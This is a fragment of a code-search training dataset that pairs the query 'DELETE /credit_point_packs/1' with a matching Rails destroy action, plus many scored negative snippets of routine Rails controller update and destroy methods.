"def update\n @module_pack = ModulePack.find(params[:id])\n\n respond_to do |format|\n if @module_pack.update_attributes(params[:module_pack])\n format.html { redirect_to @module_pack, notice: 'Module pack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @module_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @nvs_pack = NvsPack.find(params[:id])\n\n respond_to do |format|\n if @nvs_pack.update_attributes(params[:nvs_pack])\n format.html { redirect_to @nvs_pack, notice: 'Nvs pack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nvs_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts ('entro al update')\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n if @credit_line.update_attributes(params[:credit_line])\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract.daily_premium_prices.push(params[:daily_premium_prices][0])\n @contract.update_attributes(:premium => contract_params[:premium], :count => contract_params[:count])\n @contract.save\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pointcode = Pointcode.find(params[:id])\n\n respond_to do |format|\n if @pointcode.update_attributes(params[:pointcode])\n format.html { redirect_to @pointcode, notice: 'Pointcode was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pointcode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @asset.update(price: params[:asset][:price])\n json_response(@asset,:created)\n end",
"def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(plan_params)\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @credit_point_pack.destroy\n respond_to do |format|\n format.html { redirect_to credit_point_packs_url }\n format.json { head :no_content }\n end\n end",
"def update\n load_points_entry_type\n authorize! :update, @points_entry_type\n build_points_entry_type\n save_points_entry_type or redirect_to :edit\n end",
"def update\n @squat_data_point = SquatDataPoint.find(params[:id])\n\n respond_to do |format|\n if @squat_data_point.update_attributes(params[:squat_data_point])\n format.html { redirect_to @squat_data_point, notice: 'Squat data point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @squat_data_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @deadlift_data_point = DeadliftDataPoint.find(params[:id])\n\n respond_to do |format|\n if @deadlift_data_point.update_attributes(params[:deadlift_data_point])\n format.html { redirect_to @deadlift_data_point, notice: 'Deadlift data point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deadlift_data_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pallet.update(pallet_params) # SQL\n format.html { redirect_to @pallet, notice: 'Pallet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pallet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @supply_chain.update(supply_chain_params)\n format.html { redirect_to @supply_chain, notice: 'Supply chain was successfully updated.' }\n format.json { render :show, status: :ok, location: @supply_chain }\n else\n format.html { render :edit }\n format.json { render json: @supply_chain.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @point_of_sale.update(point_of_sale_params)\n format.json { render :show, status: :ok, location: @point_of_sale }\n else\n format.json { render json: @point_of_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @supply.update(supply_params)\n format.html { redirect_to supplies_path, notice: 'Record was successfully updated.' }\n format.json { render :show, status: :ok, location: @supply }\n else\n format.html { render :edit }\n format.json { render json: @supply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pack_group_dispatch = PackGroupDispatch.find(params[:id])\n\n respond_to do |format|\n if @pack_group_dispatch.update_attributes(params[:pack_group_dispatch])\n format.html { redirect_to @pack_group_dispatch, notice: 'Pack group dispatch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pack_group_dispatch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n @course_point = CoursePoint.find(params[:id])\n\n respond_to do |format|\n if @course_point.update_attributes(params[:course_point])\n format.html { redirect_to @course_point, notice: 'Course point was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @point.update(point_params)\n format.js {}\n else\n format.html { render action: 'edit' }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, CompetenceTierGroup\n \n @competence_tier_group.update!(competence_tier_group_params)\n render json: {status: :ok}\n end",
"def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(params[:plan])\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @point_of_contact.update(params[:point_of_contact])\n head :no_content\n else\n render json: @point_of_contact.errors, status: :unprocessable_entity\n end\n end",
"def update\n @squishee_cup = SquisheeCup.find(params[:id])\n puts params.to_json\n respond_to do |format|\n if @squishee_cup.update_attributes(params[:squishee_cup])\n format.html { redirect_to @squishee_cup, notice: 'Squishee cup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @squishee_cup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @interest_point.update(interest_point_params)\n @interest_point.image_url = rails_blob_path(@interest_point.point_image, only_path: true) if @interest_point.point_image.attached?\n @interest_point.save\n format.html { redirect_to interest_points_path, notice: 'Interest point was successfully updated.' }\n format.json { render :index, status: :ok, location: @interest_point }\n else\n format.html { render :edit }\n format.json { render json: @interest_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @credit_card_charge.update(credit_card_charge_params)\n format.html { redirect_to @credit_card_charge, notice: 'Credit card charge was successfully updated.' }\n format.json { render :show, status: :ok, location: @credit_card_charge }\n else\n format.html { render :edit }\n format.json { render json: @credit_card_charge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @surgery_supply.update(surgery_supply_params)\n format.html { redirect_to @surgery_supply, notice: 'Surgery supply was successfully updated.' }\n format.json { render :show, status: :ok, location: @surgery_supply }\n else\n format.html { render :edit }\n format.json { render json: @surgery_supply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trace.import_points(points_data)\n @trace.reload\n\n render json: @trace\n end",
"def update\n respond_to do |format|\n if @pick.update(pick_params)\n format.html { redirect_to @pick, notice: 'Pick was successfully updated.' }\n format.json { render :show, status: :ok, location: @pick }\n else\n format.html { render :edit }\n format.json { render json: @pick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @need.update(need_params)\n format.html { redirect_to needs_path, notice: 'Need was successfully updated.' }\n format.json { head :no_content }\n else\n @cabins = Cabin.all\n format.html { render action: 'edit' }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def update\n @card.update(card_params)\n if @card.errors.any?\n render json: @card.errors, status: :unprocessable_entity\n else\n render json: @card, status: 201\n end\n end",
"def update\n respond_to do |format|\n if @project_interest_point.update(project_interest_point_params)\n format.html { redirect_to @project_interest_point, notice: 'Project interest point was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_interest_point }\n else\n format.html { render :edit }\n format.json { render json: @project_interest_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @card = Card.find(params[:id])\n # @card.update(card_params)\n # render json: @card\n end",
"def update\n @feat = @person.feats.find(params[:id])\n level_old = @person.level\n\n if params[:feat][:completed] == '1'\n @feat.complete\n else\n @feat.uncomplete\n end\n sign = params[:feat][:completed] == '1' ? '+': '-'\n \n has_leveled = @person.level > level_old\n\n respond_to do |format|\n format.json { render :json => {\n :xpGained => \"#{sign}#{@feat.xp}\",\n :xpTotal => @person.xp,\n :next_level_ratio => @person.next_level_ratio,\n :extra_life => @person.level_to_string,\n :has_leveled => has_leveled,\n :completed => @feat.completed,\n :streak => @feat.calculate_streak}}\n \n end\n\n end",
"def update\n @card_punch = CardPunch.find(params[:id])\n\n respond_to do |format|\n if @card_punch.update_attributes(params[:card_punch])\n format.html { redirect_to(@card_punch, :notice => 'CardPunch was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @card_punch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end",
"def update\n @slab = Slab.find(params[:id])\n\n respond_to do |format|\n if @slab.update_attributes(params[:slab])\n format.html { redirect_to @slab, :notice => 'Slab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @slab.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.65346515",
"0.6236466",
"0.6234161",
"0.6153591",
"0.6115034",
"0.60719955",
"0.60673",
"0.6046007",
"0.59513086",
"0.59331775",
"0.58997893",
"0.58946025",
"0.58605856",
"0.5855198",
"0.58446693",
"0.58408546",
"0.58351654",
"0.581373",
"0.58112025",
"0.580933",
"0.58047104",
"0.57975",
"0.5797198",
"0.5790714",
"0.57828134",
"0.57778186",
"0.57646585",
"0.57487893",
"0.5748232",
"0.57261366",
"0.5722879",
"0.5718503",
"0.57182103",
"0.5713467",
"0.57069606",
"0.56991535",
"0.5699078",
"0.56941015",
"0.5690477",
"0.5687642",
"0.5679819",
"0.5679676",
"0.5679201",
"0.5677444",
"0.5673781",
"0.5668132",
"0.5665835",
"0.5665835",
"0.56657547",
"0.56638634",
"0.566106",
"0.5652522",
"0.5652522",
"0.56508243",
"0.5649676",
"0.56475717",
"0.564558",
"0.56444037",
"0.56390977",
"0.56372744",
"0.563457",
"0.56341887",
"0.5633789",
"0.5630839",
"0.5629081",
"0.5626728",
"0.5622407",
"0.56175536",
"0.561465",
"0.5612217",
"0.5611426",
"0.5610744",
"0.56069225",
"0.5606637",
"0.5605839",
"0.56005496",
"0.5592239",
"0.5586733",
"0.55866367",
"0.5586175",
"0.5584403",
"0.5577363",
"0.5575818",
"0.55719715",
"0.5569254",
"0.55664414",
"0.55609375",
"0.55603933",
"0.5560241",
"0.5556133",
"0.5554604",
"0.55530757",
"0.5547375",
"0.55443764",
"0.5543177",
"0.55368924",
"0.553246",
"0.5531453",
"0.551928",
"0.55132514"
] |
0.74985576
|
0
|
DELETE /credit_point_packs/1 DELETE /credit_point_packs/1.json
|
def destroy
@credit_point_pack.destroy
respond_to do |format|
format.html { redirect_to credit_point_packs_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end",
"def destroy\n @bill_point = BillPoint.find(params[:id])\n @bill_point.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_points_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @redpack = Redpack.find(params[:id])\n @redpack.destroy\n\n respond_to do |format|\n format.html { redirect_to redpacks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @point_consumption = PointConsumption.find(params[:id])\n @point_consumption.destroy\n\n respond_to do |format|\n format.html { redirect_to point_consumptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bead_pack.destroy\n respond_to do |format|\n format.html { redirect_to bead_packs_url, notice: 'Bead pack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @billing_info.destroy\n respond_to do |format|\n format.html { redirect_to select_plan_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nvs_pack = NvsPack.find(params[:id])\n @nvs_pack.destroy\n\n respond_to do |format|\n format.html { redirect_to nvs_packs_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @collection_point = CollectionPoint.find(params[:id])\n @collection_point.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @callplan.destroy\n respond_to do |format|\n format.html { redirect_to callplans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @deadlift_data_point = DeadliftDataPoint.find(params[:id])\n @deadlift_data_point.destroy\n\n respond_to do |format|\n format.html { redirect_to deadlift_data_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @point_of_sale.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @points_transaction.destroy\n respond_to do |format|\n format.html { redirect_to points_transactions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pack = Pack.find(params[:id])\n @pack.destroy\n\n respond_to do |format|\n format.html { redirect_to(packs_url) }\n format.xml { head :ok }\n end\n end",
"def deleteFlatpackAds( flatpack_id, adblock, serpAds, serpAdsBottom, bdpAds)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n params['adblock'] = adblock\n params['serpAds'] = serpAds\n params['serpAdsBottom'] = serpAdsBottom\n params['bdpAds'] = bdpAds\n return doCurl(\"delete\",\"/flatpack/ads\",params)\n end",
"def destroy\n @climb_datum = ClimbDatum.find(params[:id])\n @climb_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to climb_data_url }\n format.json { head :no_content }\n end\n end",
"def deleteFlatpackLink( flatpack_id, gen_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/flatpack/link\",params)\n end",
"def destroy\n @bundlesticker = Bundlesticker.find(params[:id])\n @bundlesticker.destroy\n\n respond_to do |format|\n format.html { redirect_to bundlestickers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @squat_data_point = SquatDataPoint.find(params[:id])\n @squat_data_point.destroy\n\n respond_to do |format|\n format.html { redirect_to squat_data_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mod_pack.destroy\n respond_to do |format|\n format.html { redirect_to mod_packs_url, notice: 'Mod pack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @point.destroy\n respond_to do |format|\n format.html { redirect_to points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @billing_plan.destroy\n respond_to do |format|\n format.html { redirect_to billing_plans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @key_point = KeyPoint.find(params[:id])\n @key_point.destroy\n\n respond_to do |format|\n format.html { redirect_to key_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n plan_id = @response.plan_id\n @response.destroy\n respond_to do |format|\n format.html { redirect_to details_plan_path(plan_id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bits_1.destroy\n respond_to do |format|\n format.html { redirect_to bits_1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit_line = CreditLine.find(params[:id])\n @credit_line.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @check_point.destroy\n respond_to do |format|\n format.html { redirect_to check_points_url, notice: 'Check point was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @module_pack = ModulePack.find(params[:id])\n @module_pack.destroy\n\n respond_to do |format|\n format.html { redirect_to module_packs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to plan_path(@plan) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plate_cost = PlateCost.find(params[:id])\n @plate_cost.destroy\n\n respond_to do |format|\n format.html { redirect_to plate_costs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @access_point = AccessPoint.find(params[:id])\n @access_point.destroy\n\n respond_to do |format|\n format.html { redirect_to access_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spending_pool.destroy\n respond_to do |format|\n format.html { redirect_to spending_pools_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @coin_set = CoinSet.find(params[:id])\n @coin_set.destroy\n\n respond_to do |format|\n format.html { redirect_to coin_sets_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @credit_type = CreditType.find(params[:id])\n @credit_type.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cashbox.destroy\n respond_to do |format|\n format.html { redirect_to cashbox_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @final_packing_pallet = FinalPackingPallet.find(params[:id])\n @final_packing_pallet.destroy\n\n respond_to do |format|\n format.html { redirect_to final_packing_pallets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @panel_billing = Panel::Billing.find(params[:id])\n @panel_billing.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_billings_url) }\n format.json { head :ok }\n end\n end",
"def destroy\n @points_spent = PointsSpent.find(params[:id])\n @points_spent.destroy\n\n respond_to do |format|\n format.html { redirect_to points_spents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pointless.destroy\n respond_to do |format|\n format.html { redirect_to pointlesses_url, notice: 'Pointless was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to test_plans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @check_plan.destroy\n respond_to do |format|\n format.html { redirect_to check_plans_url, notice: 'Check plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_fb_credit_offer = Shop::FbCreditOffer.find(params[:id])\n @shop_fb_credit_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_fb_credit_offers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order_pack.destroy\n respond_to do |format|\n format.html { redirect_to order_packs_url, notice: 'Order pack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clonet = Clonet.find(params[:id])\n @clonet.destroy\n\n respond_to do |format|\n format.html { redirect_to clonets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lunchplan = Lunchplan.find(params[:id])\n @lunchplan.destroy\n\n respond_to do |format|\n format.html { redirect_to lunchplans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credits_offer.destroy\n respond_to do |format|\n format.html { redirect_to admin_credits_offers_url, notice: 'CreditsOffer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @starter_pack.destroy\n respond_to do |format|\n format.html { redirect_to settings_url, notice: 'Starter pack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pack_group_dispatch = PackGroupDispatch.find(params[:id])\n @pack_group_dispatch.destroy\n\n respond_to do |format|\n format.html { redirect_to pack_group_dispatches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @billing_info.destroy\n respond_to do |format|\n format.html { redirect_to billing_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @champion_series_point.destroy\n respond_to do |format|\n format.html { redirect_to champion_series_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clapme_stage.destroy\n respond_to do |format|\n format.html { redirect_to website_stages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sslplan = Sslplan.find(params[:id])\n @sslplan.destroy\n\n respond_to do |format|\n format.html { redirect_to sslplans_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @point_of_diversion.destroy\n respond_to do |format|\n format.html { redirect_to point_of_diversions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @brave_burst.destroy\n respond_to do |format|\n format.html { redirect_to brave_bursts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pcc_break_request = PccBreakRequest.find(params[:id])\n @pcc_break_request.destroy\n\n respond_to do |format|\n format.html { redirect_to pcc_break_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ipack = Ipack.find(params[:id])\n @ipack.destroy\n\n respond_to do |format|\n format.html { redirect_to ipacks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @manpack = Manpack.find(params[:id])\n @manpack.destroy\n\n respond_to do |format|\n format.html { redirect_to manpacks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @graph_point = GraphPoint.find(params[:id])\n @graph_point.destroy\n\n respond_to do |format|\n format.html { redirect_to(graph_points_url) }\n format.xml { head :ok }\n format.json { render :nothing => true }\n end\n end",
"def destroy\n @plan.destroy\n\n head :no_content\n end",
"def destroy\n @point.destroy\n respond_to do |format|\n format.html { redirect_to :root }\n format.js { render \"block_details\" }\n end\n end",
"def destroy\n @padiddle_point.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Padiddle point was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pointcode = Pointcode.find(params[:id])\n @pointcode.destroy\n\n respond_to do |format|\n format.html { redirect_to pointcodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @data_point = DataPoint.find(params[:id])\n @data_point.destroy\n\n respond_to do |format|\n format.html { redirect_to data_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @treatment_point_prescription.destroy\n respond_to do |format|\n format.html { redirect_to treatment_point_prescriptions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cashflow = Cashflow.find(params[:id])\n @cashflow.destroy\n\n respond_to do |format|\n format.html { redirect_to cashflows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @paycheck.destroy\n respond_to do |format|\n format.html { redirect_to paychecks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crate = Crate.find(params[:id])\n @crate.destroy\n\n respond_to do |format|\n format.html { redirect_to crates_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ballot.destroy\n respond_to do |format|\n format.html { redirect_to ballots_url, notice: 'Ballot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stage_drymass = StageDrymass.find(params[:id])\n @stage_drymass.destroy\n\n respond_to do |format|\n format.html { redirect_to stage_drymasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_credit.destroy\n respond_to do |format|\n format.html { redirect_to user_credits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ballot.destroy\n respond_to do |format|\n format.html { redirect_to ballots_url, notice: \"ballot was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pay_cmb_sign.destroy\n respond_to do |format|\n format.html { redirect_to pay_cmb_signs_url, notice: 'Cmb sign was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @candy.destroy\n respond_to do |format|\n format.html { redirect_to candies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card_purch.destroy\n respond_to do |format|\n format.html { redirect_to card_purches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @coupone.destroy\n respond_to do |format|\n format.html { redirect_to admin_coupones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @points_history = PointsHistory.find(params[:id])\n @points_history.destroy\n\n respond_to do |format|\n format.html { redirect_to points_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_pack.destroy\n respond_to do |format|\n format.html { redirect_to product_packs_url, notice: 'Product pack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sculpture.destroy\n respond_to do |format|\n format.html { redirect_to sculptures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @studio_point.destroy\n respond_to do |format|\n format.html { redirect_to studio_points_url, notice: 'Studio point was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @ecommerceplan = Ecommerceplan.find(params[:id])\n @ecommerceplan.destroy\n\n respond_to do |format|\n format.html { redirect_to ecommerceplans_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @borrow_request = BorrowRequest.find(params[:id])\n @borrow_request.destroy\n\n respond_to do |format|\n format.html { redirect_to borrow_requests_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @point_submission.destroy\n respond_to do |format|\n format.html { redirect_to point_submissions_url, notice: 'Point submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plant.destroy\n respond_to do |format|\n format.html { redirect_to plants_url, notice: 'Your Swap was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if params[:id] =~ /\\d+/\n @budget = Budget.find(params[:id])\n ActiveRecord::Base.connection.execute(\"delete from budget_products where budget_id = #{params[:id]}\")\n @budget.destroy\n end\n \n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_point.destroy\n respond_to do |format|\n format.html { redirect_to shop_points_url, notice: 'Shop point was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_credit.destroy\n respond_to do |format|\n format.html { redirect_to admin_credits_url, notice: 'Credit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @capartment.destroy\n respond_to do |format|\n format.html { redirect_to capartments_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7190704",
"0.68271494",
"0.68006396",
"0.66729957",
"0.66162777",
"0.6608651",
"0.6576276",
"0.6576276",
"0.6576276",
"0.65756583",
"0.65636003",
"0.6559614",
"0.6551069",
"0.6550039",
"0.6541549",
"0.6535688",
"0.65291417",
"0.6523564",
"0.6518564",
"0.6498263",
"0.6482561",
"0.6465664",
"0.64574426",
"0.64567864",
"0.64564836",
"0.6456168",
"0.6448935",
"0.6444435",
"0.64296395",
"0.6426706",
"0.64239883",
"0.64188427",
"0.64076936",
"0.64036983",
"0.64002657",
"0.6389416",
"0.638491",
"0.63768774",
"0.637556",
"0.6370851",
"0.636762",
"0.636668",
"0.6365777",
"0.6362797",
"0.6354942",
"0.63522434",
"0.63499117",
"0.63458973",
"0.6343923",
"0.63423234",
"0.6342313",
"0.6331425",
"0.63250256",
"0.63250256",
"0.6324621",
"0.6320225",
"0.6319572",
"0.6315972",
"0.63094443",
"0.6308286",
"0.6306378",
"0.63044596",
"0.62968826",
"0.6292292",
"0.6290038",
"0.62869066",
"0.62840766",
"0.6281908",
"0.6279203",
"0.6279105",
"0.6279017",
"0.62712413",
"0.62701476",
"0.62685",
"0.6266453",
"0.6264059",
"0.6263256",
"0.62614644",
"0.62596613",
"0.62565154",
"0.62564474",
"0.62534976",
"0.6248912",
"0.6248124",
"0.62471646",
"0.6246218",
"0.6244728",
"0.6244533",
"0.62433165",
"0.62424827",
"0.62409526",
"0.6240566",
"0.6239831",
"0.6238906",
"0.6237798",
"0.623646",
"0.6236087",
"0.6234615",
"0.6231253",
"0.62308204"
] |
0.8009552
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_credit_point_pack
